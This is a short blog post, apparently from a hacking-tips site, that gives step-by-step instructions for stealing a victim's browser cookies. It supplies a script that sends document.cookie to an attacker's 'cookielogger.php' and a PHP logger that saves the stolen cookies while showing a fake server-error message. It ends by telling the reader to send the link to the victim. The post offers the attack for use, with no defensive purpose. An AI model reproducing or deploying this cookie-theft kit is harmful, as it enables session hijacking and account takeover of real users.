Pages

Want Free Codes?

To steal cookies of a browser using “.gif”

Thursday, 7 February 2013

To steal cookies of a browser using “.gif” we have to follow the following steps one by one :-
In a notepad copy the script given below
<script>location.href=’http://www.yoursite.com/cookielogger.php?cookie‘+escape(document.cookie)</SCRIPT>
{yoursite-my3gb}and save it as fun.gif
Now open a new notepad and copy the following
<?php
$filename = “logfile.txt”;
if (isset($_GET["cookie"]))
{
if (!$handle = fopen($filename, ‘a’))
{
echo “Temporary Server Error,Sorry for the inconvenience.”;
exit;
}
else
{
if (fwrite($handle, “\r\n” . $_GET["cookie"]) === FALSE)
{
echo “Temporary Server Error,Sorry for the inconvenience.”;
exit;
}
}
echo “Temporary Server Error,Sorry for the inconvenience.”;
fclose($handle);
exit;
}
echo “Temporary Server Error,Sorry for the inconvenience.”;
exit;
?>
Save it as cookielogger.php
Now save a blank notepad as logfile.txt
Now upload all the 3 files to your webhosting site and send the link to the victim….enjoy!!!

1 comment

 

Most Reading

Tags